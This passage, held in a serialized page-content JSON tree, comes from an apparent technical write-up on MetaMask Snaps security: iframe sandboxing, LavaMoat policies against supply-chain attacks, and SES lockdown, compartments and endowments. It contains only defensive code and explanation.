targetOrigin:",{"type":24,"tag":90,"props":38427,"children":38428},{"style":1085},[38429],{"type":29,"value":38430}," '*'",{"type":24,"tag":90,"props":38432,"children":38433},{"style":114},[38434],{"type":29,"value":748},{"type":24,"tag":90,"props":38436,"children":38437},{"class":92,"line":574},[38438],{"type":24,"tag":90,"props":38439,"children":38440},{"style":114},[38441],{"type":29,"value":34070},{"type":24,"tag":90,"props":38443,"children":38444},{"class":92,"line":606},[38445],{"type":24,"tag":90,"props":38446,"children":38447},{"emptyLinePlaceholder":16},[38448],{"type":29,"value":245},{"type":24,"tag":90,"props":38450,"children":38451},{"class":92,"line":615},[38452,38457,38461,38465,38469],{"type":24,"tag":90,"props":38453,"children":38454},{"style":114},[38455],{"type":29,"value":38456}," return { worker: ",{"type":24,"tag":90,"props":38458,"children":38459},{"style":136},[38460],{"type":29,"value":38280},{"type":24,"tag":90,"props":38462,"children":38463},{"style":114},[38464],{"type":29,"value":133},{"type":24,"tag":90,"props":38466,"children":38467},{"style":136},[38468],{"type":29,"value":38077},{"type":24,"tag":90,"props":38470,"children":38471},{"style":114},[38472],{"type":29,"value":4824},{"type":24,"tag":90,"props":38474,"children":38475},{"class":92,"line":623},[38476],{"type":24,"tag":90,"props":38477,"children":38478},{"style":114},[38479],{"type":29,"value":8257},{"type":24,"tag":25,"props":38481,"children":38482},{},[38483,38485,38491,38493,38500],{"type":29,"value":38484},"Here the iframe is created via ",{"type":24,"tag":32,"props":38486,"children":38488},{"className":38487},[],[38489],{"type":29,"value":38490},"createWindow",{"type":29,"value":38492},", which is defined in snaps-utils ",{"type":24,"tag":69,"props":38494,"children":38497},{"href":38495,"rel":38496},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[73],[38498],{"type":29,"value":38499},"package",{"type":29,"value":78},{"type":24,"tag":80,"props":38502,"children":38504},{"className":37746,"code":38503,"language":37748,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[38505],{"type":24,"tag":32,"props":38506,"children":38507},{"__ignoreMap":7},[38508,38551,38589,38626,38633,38653,38691,38698,38735],{"type":24,"tag":90,"props":38509,"children":38510},{"class":92,"line":93},[38511,38515,38520,38524,38529,38533,38538,38542,38547],{"type":24,"tag":90,"props":38512,"children":38513},{"style":97},[38514],{"type":29,"value":508},{"type":24,"tag":90,"props":38516,"children":38517},{"style":136},[38518],{"type":29,"value":38519}," iframe",{"type":24,"tag":90,"props":38521,"children":38522},{"style":120},[38523],{"type":29,"value":216},{"type":24,"tag":90,"props":38525,"children":38526},{"style":136},[38527],{"type":29,"value":38528}," document",{"type":24,"tag":90,"props":38530,"children":38531},{"style":114},[38532],{"type":29,"value":226},{"type":24,"tag":90,"props":38534,"children":38535},{"style":108},[38536],{"type":29,"value":38537},"createElement",{"type":24,"tag":90,"props":38539,"children":38540},{"style":114},[38541],{"type":29,"value":117},{"type":24,"tag":90,"props":38543,"children":38544},{"style":1085},[38545],{"type":29,"value":38546},"'iframe'",{"type":24,"tag":90,"props":38548,"children":38549},{"style":114},[38550],{"type":29,"value":571},{"type":24,"tag":90,"props":38552,"children":38553},{"class":92,"line":200},[38554,38559,38563,38568,38572,38577,38581,38585],{"type":24,"tag":90,"props":38555,"children":38556},{"style":136},[38557],{"type":29,"value":38558}," iframe",{"type":24,"tag":90,"props":38560,"children":38561},{"style":114},[38562],{"type":29,"value":226},{"type":24,"tag":90,"props":38564,"children":38565},{"style":108},[38566],{"type":29,"value":38567},"setAttribute",{"type":24,"tag":90,"props":38569,"children":38570},{"style":114},[38571],{"type":29,"value":117},{"type":24,"tag":90,"props":38573,"children":38574},{"style":1085},[38575],{"type":29,"value":38576},"'id'",{"type":24,"tag":90,"props":38578,"children":38579},{"style":114},[38580],{"type":29,"value":133},{"type":24,"tag":90,"props":38582,"children":38583},{"style":136},[38584],{"type":29,"value":5875},{"type":24,"tag":90,"props":38586,"children":38587},{"style":114},[38588],{"type":29,"value":571},{"type":24,"tag":90,"props":38590,"children":38591},{"class":92,"line":239},[38592,38596,38600,38604,38608,38613,38617,38622],{"type":24,"tag":90,"props":38593,"children":38594},{"style":136},[38595],{"type":29,"value":38558},{"type":24,"tag":90,"props":38597,"children":38598},{"style":114},[38599],{"type":29,"value":226},{"type":24,"tag":90,"props":38601,"children":38602},{"style":108},[38603],{"type":29,"value":38567},{"type":24,"tag":90,"props":38605,"children":38606},{"style":114},[38607],{"type":29,"value":117},{"type":24,"tag":90,"props":38609,"children":38610},{"style":1085},[38611],{"type":29,"value":38612},"'data-testid'",{"type":24,"tag":90,"props":38614,"children":38615},{"style":114},[38616],{"type":29,"value":133},{"type":24,"tag":90,"props":38618,"children":38619},{"style":1085},[38620],{"type":29,"value":38621},"'snaps-iframe'",{"type":24,"tag":90,"props":38623,"children":38624},{"style":114},[38625],{"type":29,"value":571},{"type":24,"tag":90,"props":38627,"children":38628},{"class":92,"line":248},[38629],{"type":24,"tag":90,"props":38630,"children":38631},{"emptyLinePlaceholder":16},[38632],{"type":29,"value":245},{"type":24,"tag":90,"props":38634,"children":38635},{"class":92,"line":258},[38636,38640,38644,38649],{"type":24,"tag":90,"props":38637,"children":38638},{"style":636},[38639],{"type":29,"value":639},{"type":24,"tag":90,"props":38641,"children":38642},{"style":114},[38643],{"type":29,"value":1151},{"type":24,"tag":90,"props":38645,"children":38646},{"style":136},[38647],{"type":29,"value":38648},"sandbox",{"type":24,"tag":90,"props":38650,"children":38651},{"style":114},[38652],{"type":29,"value":1297},{"type":24,"tag":90,"props":38654,"children":38655},{"class":92,"line":272},[38656,38661,38665,38669,38673,38678,38682,38687],{"type":24,"tag":90,"props":38657,"children":38658},{"style":136},[38659],{"type":29,"value":38660}," iframe",{"type":24,"tag":90,"props":38662,"children":38663},{"style":114},[38664],{"type":29,"value":226},{"type":24,"tag":90,"props":38666,"children":38667},{"style":108},[38668],{"type":29,"value":38567},{"type":24,"tag":90,"props":38670,"children":38671},{"style":114},[38672],{"type":29,"value":117},{"type":24,"tag":90,"props":38674,"children":38675},{"style":1085},[38676],{"type":29,"value":38677},"'sandbox'",{"type":24,"tag":90,"props":38679,"children":38680},{"style":114},[38681],{"type":29,"value":133},{"type":24,"tag":90,"props":38683,"children":38684},{"style":1085},[38685],{"type":29,"value":38686},"'allow-scripts'",{"type":24,"tag":90,"props":38688,"children":38689},{"style":114},[38690],{"type":29,"value":571},{"type":24,"tag":90,"props":38692,"children":38693},{"class":92,"line":281},[38694],{"type":24,"tag":90,"props":38695,"children":38696},{"style":114},[38697],{"type":29,"value":612},{"type":24,"tag":90,"props":38699,"children":38700},{"class":92,"line":384},[38701,38705,38709,38713,38717,38722,38726,38731],{"type":24,"tag":90,"props":38702,"children":38703},{"style":136},[38704],{"type":29,"value":38558},{"type":24,"tag":90,"props":38706,"children":38707},{"style":114},[38708],{"type":29,"value":226},{"type":24,"tag":90,"props":38710,"children":38711},{"style":108},[38712],{"type":29,"value":38567},{"type":24,"tag":90,"props":38714,"children":38715},{"style":114},[38716],{"type":29,"value":117},{"type":24,"tag":90,"props":38718,"children":38719},{"style":1085},[38720],{"type":29,"value":38721},"'src'",{"type":24,"tag":90,"props":38723,"children":38724},{"style":114},[38725],{"type":29,"value":133},{"type":24,"tag":90,"props":38727,"children":38728},{"style":136},[38729],{"type":29,"value":38730},"uri",{"type":24,"tag":90,"props":38732,"children":38733},{"style":114},[38734],{"type":29,"value":571},{"type":24,"tag":90,"props":38736,"children":38737},{"class":92,"line":420},[38738,38742,38746,38750,38754,38759,38763,38768],{"type":24,"tag":90,"props":38739,"children":38740},{"style":136},[38741],{"type":29,"value":36488},{"type":24,"tag":90,"props":38743,"children":38744},{"style":114},[38745],{"type":29,"value":226},{"type":24,"tag":90,"props":38747,"children":38748},{"style":136},[38749],{"type":29,"value":34213},{"type":24,"tag":90,"props":38751,"children":38752},{"style":114},[38753],{"type":29,"value":226},{"type":24,"tag":90,"props":38755,"children":38756},{"style":108},[38757],{"type":29,"value":38758},"appendChild",{"type":24,"tag":90,"props":38760,"children":38761},{"style":114},[38762],{"type":29,"value":117},{"type":24,"tag":90,"props":38764,"children":38765},{"style":136},[38766],{"type":29,"value":38767},"iframe",{"type":24,"tag":90,"props":38769,"children":38770},{"style":114},[38771],{"type":29,"value":571},{"type":24,"tag":25,"props":38773,"children":38774},{},[38775],{"type":29,"value":38776},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":24,"tag":1019,"props":38778,"children":38780},{"id":38779},"lavamoat-against-supply-chain-attacks-layer-2",[38781],{"type":29,"value":38782},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":24,"tag":25,"props":38784,"children":38785},{},[38786],{"type":29,"value":38787},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":24,"tag":25,"props":38789,"children":38790},{},[38791,38793,38799],{"type":29,"value":38792},"Malicious dependencies might utilize built-in modules like ",{"type":24,"tag":32,"props":38794,"children":38796},{"className":38795},[],[38797],{"type":29,"value":38798},"fs",{"type":29,"value":38800},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":24,"tag":25,"props":38802,"children":38803},{},[38804],{"type":29,"value":38805},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":24,"tag":25,"props":38807,"children":38808},{},[38809,38811,38818],{"type":29,"value":38810},"This is how a Policy file related to the iframes ",{"type":24,"tag":69,"props":38812,"children":38815},{"href":38813,"rel":38814},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[73],[38816],{"type":29,"value":38817},"looks",{"type":29,"value":78},{"type":24,"tag":80,"props":38820,"children":38822},{"className":35810,"code":38821,"language":35812,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[38823],{"type":24,"tag":32,"props":38824,"children":38825},{"__ignoreMap":7},[38826,38839,38851,38871,38891,38911,38931,38951,38971,38991,39008,39016,39028,39048,39064,39071],{"type":24,"tag":90,"props":38827,"children":38828},{"class":92,"line":93},[38829,38834],{"type":24,"tag":90,"props":38830,"children":38831},{"style":1085},[38832],{"type":29,"value":38833},"\"@metamask/post-message-stream\"",{"type":24,"tag":90,"props":38835,"children":38836},{"style":114},[38837],{"type":29,"value":38838},": {\n",{"type":24,"tag":90,"props":38840,"children":38841},{"class":92,"line":200},[38842,38847],{"type":24,"tag":90,"props":38843,"children":38844},{"style":136},[38845],{"type":29,"value":38846}," \"globals\"",{"type":24,"tag":90,"props":38848,"children":38849},{"style":114},[38850],{"type":29,"value":38838},{"type":24,"tag":90,"props":38852,"children":38853},{"class":92,"line":239},[38854,38859,38863,38867],{"type":24,"tag":90,"props":38855,"children":38856},{"style":136},[38857],{"type":29,"value":38858}," \"MessageEvent.prototype\"",{"type":24,"tag":90,"props":38860,"children":38861},{"style":114},[38862],{"type":29,"value":1833},{"type":24,"tag":90,"props":38864,"children":38865},{"style":97},[38866],{"type":29,"value":6380},{"type":24,"tag":90,"props":38868,"children":38869},{"style":114},[38870],{"type":29,"value":748},{"type":24,"tag":90,"props":38872,"children":38873},{"class":92,"line":248},[38874,38879,38883,38887],{"type":24,"tag":90,"props":38875,"children":38876},{"style":136},[38877],{"type":29,"value":38878}," \"WorkerGlobalScope\"",{"type":24,"tag":90,"props":38880,"children":38881},{"style":114},[38882],{"type":29,"value":1833},{"type":24,"tag":90,"props":38884,"children":38885},{"style":97},[38886],{"type":29,"value":6380},{"type":24,"tag":90,"props":38888,"children":38889},{"style":114},[38890],{"type":29,"value":748},{"type":24,"tag":90,"props":38892,"children":38893},{"class":92,"line":258},[38894,38899,38903,38907],{"type":24,"tag":90,"props":38895,"children":38896},{"style":136},[38897],{"type":29,"value":38898}," \"addEventListener\"",{"type":24,"tag":90,"props":38900,"children":38901},{"style":114},[38902],{"type":29,"value":1833},{"type":24,"tag":90,"props":38904,"children":38905},{"style":97},[38906],{"type":29,"value":6380},{"type":24,"tag":90,"props":38908,"children":38909},{"style":114},[38910],{"type":29,"value":748},{"type":24,"tag":90,"props":38912,"children":38913},{"class":92,"line":272},[38914,38919,38923,38927],{"type":24,"tag":90,"props":38915,"children":38916},{"style":136},[38917],{"type":29,"value":38918}," \"browser\"",{"type":24,"tag":90,"props":38920,"children":38921},{"style":114},[38922],{"type":29,"value":1833},{"type":24,"tag":90,"props":38924,"children":38925},{"style":97},[38926],{"type":29,"value":6380},{"type":24,"tag":90,"props":38928,"children":38929},{"style":114},[38930],{"type":29,"value":748},{"type":24,"tag":90,"props":38932,"children":38933},{"class":92,"line":281},[38934,38939,38943,38947],{"type":24,"tag":90,"props":38935,"children":38936},{"style":136},[38937],{"type":29,"value":38938}," \"chrome\"",{"type":24,"tag":90,"props":38940,"children":38941},{"style":114},[38942],{"type":29,"value":1833},{"type":24,"tag":90,"props":38944,"children":38945},{"style":97},[38946],{"type":29,"value":6380},{"type":24,"tag":90,"props":38948,"children":38949},{"style":114},[38950],{"type":29,"value":748},{"type":24,"tag":90,"props":38952,"children":38953},{"class":92,"line":384},[38954,38959,38963,38967],{"type":24,"tag":90,"props":38955,"children":38956},{"style":136},[38957],{"type":29,"value":38958}," \"location.origin\"",{"type":24,"tag":90,"props":38960,"children":38961},{"style":114},[38962],{"type":29,"value":1833},{"type":24,"tag":90,"props":38964,"children":38965},{"style":97},[38966],{"type":29,"value":6380},{"type":24,"tag":90,"props":38968,"children":38969},{"style":114},[38970],{"type":29,"value":748},{"type":24,"tag":90,"props":38972,"children":38973},{"class":92,"line":420},[38974,38979,38983,38987],{"type":24,"tag":90,"props":38975,"children":38976},{"style":136},[38977],{"type":29,"value":38978}," \"postMessage\"",{"type":24,"tag":90,"props":38980,"children":38981},{"style":114},[38982],{"type":29,"value":1833},{"type":24,"tag":90,"props":38984,"children":38985},{"style":97},[38986],{"type":29,"value":6380},{"type":24,"tag":90,"props":38988,"children":38989},{"style":114},[38990],{"type":29,"value":748},{"type":24,"tag":90,"props":38992,"children":38993},{"class":92,"line":428},[38994,38999,39003],{"type":24,"tag":90,"props":38995,"children":38996},{"style":136},[38997],{"type":29,"value":38998}," \"removeEventListener\"",{"type":24,"tag":90,"props":39000,"children":39001},{"style":114},[39002],{"type":29,"value":1833},{"type":24,"tag":90,"props":39004,"children":39005},{"style":97},[39006],{"type":29,"value":39007},"true\n",{"type":24,"tag":90,"props":39009,"children":39010},{"class":92,"line":437},[39011],{"type":24,"tag":90,"props":39012,"children":39013},{"style":114},[39014],{"type":29,"value":39015}," },\n",{"type":24,"tag":90,"props":39017,"children":39018},{"class":92,"line":574},[39019,39024],{"type":24,"tag":90,"props":39020,"children":39021},{"style":136},[39022],{"type":29,"value":39023}," \"packages\"",{"type":24,"tag":90,"props":39025,"children":39026},{"style":114},[39027],{"type":29,"value":38838},{"type":24,"tag":90,"props":39029,"children":39030},{"class":92,"line":606},[39031,39036,39040,39044],{"type":24,"tag":90,"props":39032,"children":39033},{"style":136},[39034],{"type":29,"value":39035}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":24,"tag":90,"props":39037,"children":39038},{"style":114},[39039],{"type":29,"value":1833},{"type":24,"tag":90,"props":39041,"children":39042},{"style":97},[39043],{"type":29,"value":6380},{"type":24,"tag":90,"props":39045,"children":39046},{"style":114},[39047],{"type":29,"value":748},{"type":24,"tag":90,"props":39049,"children":39050},{"class":92,"line":615},[39051,39056,39060],{"type":24,"tag":90,"props":39052,"children":39053},{"style":136},[39054],{"type":29,"value":39055}," \"@metamask/post-message-stream>readable-stream\"",{"type":24,"tag":90,"props":39057,"children":39058},{"style":114},[39059],{"type":29,"value":1833},{"type":24,"tag":90,"props":39061,"children":39062},{"style":97},[39063],{"type":29,"value":39007},{"type":24,"tag":90,"props":39065,"children":39066},{"class":92,"line":623},[39067],{"type":24,"tag":90,"props":39068,"children":39069},{"style":114},[39070],{"type":29,"value":15030},{"type":24,"tag":90,"props":39072,"children":39073},{"class":92,"line":632},[39074],{"type":24,"tag":90,"props":39075,"children":39076},{"style":114},[39077],{"type":29,"value":612},{"type":24,"tag":25,"props":39079,"children":39080},{},[39081,39083,39089,39091,39097,39099,39105,39107,39113,39114,39120],{"type":29,"value":39082},"One crucial aspect of the policy, apart from the ",{"type":24,"tag":32,"props":39084,"children":39086},{"className":39085},[],[39087],{"type":29,"value":39088},"globals",{"type":29,"value":39090}," section, is the ",{"type":24,"tag":32,"props":39092,"children":39094},{"className":39093},[],[39095],{"type":29,"value":39096},"packages",{"type":29,"value":39098}," segment. This section permits the ",{"type":24,"tag":32,"props":39100,"children":39102},{"className":39101},[],[39103],{"type":29,"value":39104},"@metamask/post-message-stream",{"type":29,"value":39106},"package to exclusively interact with the package ",{"type":24,"tag":32,"props":39108,"children":39110},{"className":39109},[],[39111],{"type":29,"value":39112},"@metamask/utils",{"type":29,"value":13360},{"type":24,"tag":32,"props":39115,"children":39117},{"className":39116},[],[39118],{"type":29,"value":39119},"readable-stream",{"type":29,"value":39121},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":24,"tag":25,"props":39123,"children":39124},{},[39125,39127,39133],{"type":29,"value":39126},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":24,"tag":32,"props":39128,"children":39130},{"className":39129},[],[39131],{"type":29,"value":39132},"lockdown",{"type":29,"value":39134}," function to freeze all javascript builtins prototypes.",{"type":24,"tag":1019,"props":39136,"children":39138},{"id":39137},"secure-ecmascript-ses-sandbox-layer-3",[39139],{"type":29,"value":39140},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":24,"tag":25,"props":39142,"children":39143},{},[39144,39146,39153],{"type":29,"value":39145},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":24,"tag":69,"props":39147,"children":39150},{"href":39148,"rel":39149},"https://github.com/endojs/endo/tree/master/packages/ses",[73],[39151],{"type":29,"value":39152},"Secure EcmaScript (SES)",{"type":29,"value":39154}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":24,"tag":20686,"props":39156,"children":39158},{"id":39157},"ses-fundamentals",[39159],{"type":29,"value":39160},"SES Fundamentals",{"type":24,"tag":39162,"props":39163,"children":39164},"h5",{"id":39132},[39165],{"type":29,"value":39166},"Lockdown",{"type":24,"tag":25,"props":39168,"children":39169},{},[39170,39172,39178],{"type":29,"value":39171},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":24,"tag":32,"props":39173,"children":39175},{"className":39174},[],[39176],{"type":29,"value":39177},"lockdown()",{"type":29,"value":39179}," function, which protects javascript objects against some attacks, mainly:",{"type":24,"tag":3100,"props":39181,"children":39182},{},[39183,39196],{"type":24,"tag":3104,"props":39184,"children":39185},{},[39186,39188,39194],{"type":29,"value":39187},"Prototype Pollution\nLockdown executes ",{"type":24,"tag":32,"props":39189,"children":39191},{"className":39190},[],[39192],{"type":29,"value":39193},"Object.freeze",{"type":29,"value":39195}," against all javascript builtins prototypes, preventing these attacks.",{"type":24,"tag":3104,"props":39197,"children":39198},{},[39199,39201,39207,39209,39215],{"type":29,"value":39200},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":24,"tag":32,"props":39202,"children":39204},{"className":39203},[],[39205],{"type":29,"value":39206},"trace",{"type":29,"value":39208}," attribute in an ",{"type":24,"tag":32,"props":39210,"children":39212},{"className":39211},[],[39213],{"type":29,"value":39214},"Error",{"type":29,"value":39216}," object, which contains the stack trace of the error.",{"type":24,"tag":39162,"props":39218,"children":39220},{"id":39219},"compartment",[39221],{"type":29,"value":39222},"Compartment",{"type":24,"tag":25,"props":39224,"children":39225},{},[39226,39228,39234,39236,39241],{"type":29,"value":39227},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":24,"tag":32,"props":39229,"children":39231},{"className":39230},[],[39232],{"type":29,"value":39233},"globalThis",{"type":29,"value":39235}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":24,"tag":32,"props":39237,"children":39239},{"className":39238},[],[39240],{"type":29,"value":39233},{"type":29,"value":39242}," context is incapable of tampering with security.",{"type":24,"tag":80,"props":39244,"children":39246},{"className":37429,"code":39245,"language":37431,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[39247],{"type":24,"tag":32,"props":39248,"children":39249},{"__ignoreMap":7},[39250,39279,39312],{"type":24,"tag":90,"props":39251,"children":39252},{"class":92,"line":93},[39253,39257,39262,39266,39270,39275],{"type":24,"tag":90,"props":39254,"children":39255},{"style":97},[39256],{"type":29,"value":508},{"type":24,"tag":90,"props":39258,"children":39259},{"style":136},[39260],{"type":29,"value":39261}," c",{"type":24,"tag":90,"props":39263,"children":39264},{"style":120},[39265],{"type":29,"value":216},{"type":24,"tag":90,"props":39267,"children":39268},{"style":97},[39269],{"type":29,"value":33746},{"type":24,"tag":90,"props":39271,"children":39272},{"style":108},[39273],{"type":29,"value":39274}," Compartment",{"type":24,"tag":90,"props":39276,"children":39277},{"style":114},[39278],{"type":29,"value":236},{"type":24,"tag":90,"props":39280,"children":39281},{"class":92,"line":200},[39282,39286,39290,39294,39298,39303,39307],{"type":24,"tag":90,"props":39283,"children":39284},{"style":136},[39285],{"type":29,"value":3030},{"type":24,"tag":90,"props":39287,"children":39288},{"style":114},[39289],{"type":29,"value":226},{"type":24,"tag":90,"props":39291,"children":39292},{"style":136},[39293],{"type":29,"value":39233},{"type":24,"tag":90,"props":39295,"children":39296},{"style":120},[39297],{"type":29,"value":33235},{"type":24,"tag":90,"props":39299,"children":39300},{"style":136},[39301],{"type":29,"value":39302}," globalThis",{"type":24,"tag":90,"props":39304,"children":39305},{"style":114},[39306],{"type":29,"value":3748},{"type":24,"tag":90,"props":39308,"children":39309},{"style":252},[39310],{"type":29,"value":39311},"// false\n",{"type":24,"tag":90,"props":39313,"children":39314},{"class":92,"line":239},[39315,39319,39323,39327,39331,39336,39340,39345,39349],{"type":24,"tag":90,"props":39316,"children":39317},{"style":136},[39318],{"type":29,"value":3030},{"type":24,"tag":90,"props":39320,"children":39321},{"style":114},[39322],{"type":29,"value":226},{"type":24,"tag":90,"props":39324,"children":39325},{"style":136},[39326],{"type":29,"value":39233},{"type":24,"tag":90,"props":39328,"children":39329},{"style":114},[39330],{"type":29,"value":226},{"type":24,"tag":90,"props":39332,"children":39333},{"style":136},[39334],{"type":29,"value":39335},"JSON",{"type":24,"tag":90,"props":39337,"children":39338},{"style":120},[39339],{"type":29,"value":33235},{"type":24,"tag":90,"props":39341,"children":39342},{"style":136},[39343],{"type":29,"value":39344}," JSON",{"type":24,"tag":90,"props":39346,"children":39347},{"style":114},[39348],{"type":29,"value":3748},{"type":24,"tag":90,"props":39350,"children":39351},{"style":252},[39352],{"type":29,"value":39353},"// true\n",{"type":24,"tag":25,"props":39355,"children":39356},{},[39357,39359,39365,39367,39373,39375,39380],{"type":29,"value":39358},"Compartment also changes the behaviour of evaluators functions such as ",{"type":24,"tag":32,"props":39360,"children":39362},{"className":39361},[],[39363],{"type":29,"value":39364},"eval",{"type":29,"value":39366}," and the ",{"type":24,"tag":32,"props":39368,"children":39370},{"className":39369},[],[39371],{"type":29,"value":39372},"Function",{"type":29,"value":39374}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":24,"tag":32,"props":39376,"children":39378},{"className":39377},[],[39379],{"type":29,"value":39233},{"type":29,"value":226},{"type":24,"tag":39162,"props":39382,"children":39384},{"id":39383},"endowments",[39385],{"type":29,"value":39386},"Endowments",{"type":24,"tag":25,"props":39388,"children":39389},{},[39390,39392,39396,39398,39403],{"type":29,"value":39391},"While creating a Compartment, it is possible to specify ",{"type":24,"tag":842,"props":39393,"children":39394},{},[39395],{"type":29,"value":39383},{"type":29,"value":39397},". These endowments constitute objects that become accessible within the Compartment's ",{"type":24,"tag":32,"props":39399,"children":39401},{"className":39400},[],[39402],{"type":29,"value":39233},{"type":29,"value":39404},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":24,"tag":25,"props":39406,"children":39407},{},[39408,39410,39416],{"type":29,"value":39409},"In addition, SES provides the ",{"type":24,"tag":32,"props":39411,"children":39413},{"className":39412},[],[39414],{"type":29,"value":39415},"harden()",{"type":29,"value":39417}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":24,"tag":20686,"props":39419,"children":39421},{"id":39420},"setting-up-snaps-execution-env",[39422],{"type":29,"value":39423},"Setting up Snaps Execution Env",{"type":24,"tag":25,"props":39425,"children":39426},{},[39427],{"type":29,"value":39428},"When starting a snap, the setup follows these steps:",{"type":24,"tag":3100,"props":39430,"children":39431},{},[39432],{"type":24,"tag":3104,"props":39433,"children":39434},{},[39435],{"type":24,"tag":7711,"props":39436,"children":39437},{},[39438,39440],{"type":29,"value":39439},"Create endowments based on snap ",{"type":24,"tag":69,"props":39441,"children":39444},{"href":39442,"rel":39443},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[73],[39445],{"type":29,"value":39446},"permissions",{"type":24,"tag":80,"props":39448,"children":39450},{"className":37429,"code":39449,"language":37431,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[39451],{"type":24,"tag":32,"props":39452,"children":39453},{"__ignoreMap":7},[39454,39504,39516,39527,39539,39551],{"type":24,"tag":90,"props":39455,"children":39456},{"class":92,"line":93},[39457,39461,39465,39469,39473,39478,39482,39487,39491,39495,39500],{"type":24,"tag":90,"props":39458,"children":39459},{"style":97},[39460],{"type":29,"value":508},{"type":24,"tag":90,"props":39462,"children":39463},{"style":114},[39464],{"type":29,"value":1196},{"type":24,"tag":90,"props":39466,"children":39467},{"style":136},[39468],{"type":29,"value":39383},{"type":24,"tag":90,"props":39470,"children":39471},{"style":114},[39472],{"type":29,"value":133},{"type":24,"tag":90,"props":39474,"children":39475},{"style":136},[39476],{"type":29,"value":39477},"teardown",{"type":24,"tag":90,"props":39479,"children":39480},{"style":114},[39481],{"type":29,"value":1833},{"type":24,"tag":90,"props":39483,"children":39484},{"style":136},[39485],{"type":29,"value":39486},"endowmentTeardown",{"type":24,"tag":90,"props":39488,"children":39489},{"style":114},[39490],{"type":29,"value":38018},{"type":24,"tag":90,"props":39492,"children":39493},{"style":120},[39494],{"type":29,"value":5491},{"type":24,"tag":90,"props":39496,"children":39497},{"style":108},[39498],{"type":29,"value":39499}," createEndowments",{"type":24,"tag":90,"props":39501,"children":39502},{"style":114},[39503],{"type":29,"value":680},{"type":24,"tag":90,"props":39505,"children":39506},{"class":92,"line":200},[39507,39512],{"type":24,"tag":90,"props":39508,"children":39509},{"style":136},[39510],{"type":29,"value":39511}," snap",{"type":24,"tag":90,"props":39513,"children":39514},{"style":114},[39515],{"type":29,"value":748},{"type":24,"tag":90,"props":39517,"children":39518},{"class":92,"line":239},[39519,39523],{"type":24,"tag":90,"props":39520,"children":39521},{"style":136},[39522],{"type":29,"value":33297},{"type":24,"tag":90,"props":39524,"children":39525},{"style":114},[39526],{"type":29,"value":748},{"type":24,"tag":90,"props":39528,"children":39529},{"class":92,"line":248},[39530,39535],{"type":24,"tag":90,"props":39531,"children":39532},{"style":136},[39533],{"type":29,"value":39534}," snapId",{"type":24,"tag":90,"props":39536,"children":39537},{"style":114},[39538],{"type":29,"value":748},{"type":24,"tag":90,"props":39540,"children":39541},{"class":92,"line":258},[39542,39547],{"type":24,"tag":90,"props":39543,"children":39544},{"style":136},[39545],{"type":29,"value":39546}," _endowments",{"type":24,"tag":90,"props":39548,"children":39549},{"style":114},[39550],{"type":29,"value":748},{"type":24,"tag":90,"props":39552,"children":39553},{"class":92,"line":272},[39554],{"type":24,"tag":90,"props":39555,"children":39556},{"style":114},[39557],{"type":29,"value":571},{"type":24,"tag":25,"props":39559,"children":39560},{},[39561],{"type":29,"value":39562},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":24,"tag":25,"props":39564,"children":39565},{},[39566,39568,39574,39576,39582],{"type":29,"value":39567},"One clear example is the ",{"type":24,"tag":32,"props":39569,"children":39571},{"className":39570},[],[39572],{"type":29,"value":39573},"endowment:network-access",{"type":29,"value":39575}," permission, that adds the ",{"type":24,"tag":32,"props":39577,"children":39579},{"className":39578},[],[39580],{"type":29,"value":39581},"fetch()",{"type":29,"value":39583}," function to the endowments.",{"type":24,"tag":25,"props":39585,"children":39586},{},[39587,39589,39595],{"type":29,"value":39588},"All endowments are protected with the 